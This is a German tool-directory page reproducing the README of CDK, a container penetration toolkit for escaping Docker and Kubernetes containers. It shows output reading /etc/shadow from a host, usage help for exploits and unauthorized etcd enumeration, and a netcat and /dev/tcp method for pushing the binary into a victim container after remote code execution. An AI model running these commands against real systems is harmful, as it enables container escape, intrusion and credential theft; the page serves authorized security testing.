Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CDK — 📦 Erleichtern Sie die Sicherheitstests von K8s, Docker und Containerd. | Kitploit
Tools/GitHubGitHub/cdk-team/cdk
Privilege EscalationAufklärungContainer-SicherheitPersistenzmechanismenExploitationLaterale BewegungPost-ExploitationPenetrationstestsCloud-SicherheitContainer-AusbruchTop in Container-Ausbruch Nr.2
4.7k60688vor 5 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubcdk-team/cdk

CDK

📦 Erleichtern Sie die Sicherheitstests von K8s, Docker und Containerd.

Repository anzeigenWebseite

CDK - Toolkit für Container-Penetration ohne Abhängigkeiten

English | 简体中文

png

Rechtlicher Hinweis

Die Nutzung von CDK zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. CDK dient ausschließlich Sicherheitstestzwecken.

Überblick

CDK ist ein quelloffenes Toolkit für Container-Penetration, das für stabile Ausnutzung in verschiedenen abgespeckten Containern ohne Betriebssystemabhängigkeiten entwickelt wurde. Es enthält nützliche Netzwerktools und viele leistungsstarke PoCs/Exploits und hilft Ihnen, Container zu entkommen und K8s-Cluster einfach zu übernehmen.

Schnellstart

Führen Sie cdk eva aus, um Bewertungsinformationen und einen empfohlenen Exploit zu erhalten, und führen Sie dann cdk run aus, um den Angriff zu starten.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Installation/Auslieferung

Laden Sie die neueste Version unter https://github.com/cdk-team/CDK/releases/ herunter.

Legen Sie die ausführbaren Dateien in den Zielcontainer und starten Sie die Tests.

TIPPS: Auslieferung von CDK in den Zielcontainer bei realen Penetrationstests

Wenn Sie einen Exploit haben, der eine Datei hochladen kann, können Sie das CDK-Binary direkt hochladen.

Wenn Sie einen RCE-Exploit haben, aber der Zielcontainer kein curl oder wget besitzt, können Sie CDK mit der folgenden Methode ausliefern:

  1. Hosten Sie zunächst das CDK-Binary auf Ihrem Host mit öffentlicher IP.
(auf Ihrem Host)
nc -lvp 999 < cdk
  1. Führen Sie im Opfercontainer Folgendes aus:
cat < /dev/tcp/(Ihre_öffentliche_Host_IP)/(Port) > cdk
chmod a+x cdk

Verwendung

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Funktionen

CDK besteht aus drei Modulen:

  1. Evaluate: Sammelt Informationen im Container, um potenzielle Schwachstellen zu finden.
  2. Exploit: Für Container Escape, Persistenz und laterale Bewegung.
  3. Tool: Netzwerktools und APIs für TCP/HTTP-Anfragen, Tunnel und K8s-Cluster-Management.

Evaluate-Modul

Verwendung

cdk evaluate [--full]
TaktikSkriptUnterstütztVerwendung/Beispiel
InformationssammlungOS-Grundinformationen✔Link
InformationssammlungVerfügbare Capabilities✔Link
InformationssammlungVerfügbare Linux-Befehle✔Link
InformationssammlungMounts✔Link
InformationssammlungNet Namespace✔Link
InformationssammlungSensitive ENV✔Link
InformationssammlungSensitive Prozesse✔Link
InformationssammlungSensitive lokale Dateien✔Link
InformationssammlungKube-proxy Route Localnet (CVE-2020-8558)✔Link
InformationssammlungDNS-basierte Service-Discovery✔Link
DiscoveryK8s Api-Server-Informationen✔Link
DiscoveryK8s Service-Account-Informationen✔Link
DiscoveryCloud-Provider-Metadaten-API✔Link

Exploit-Modul

Liste aller verfügbaren Exploits:

cdk run --list

Gezielten Exploit ausführen:

cdk run <script-name> [options]
Tool herunterladen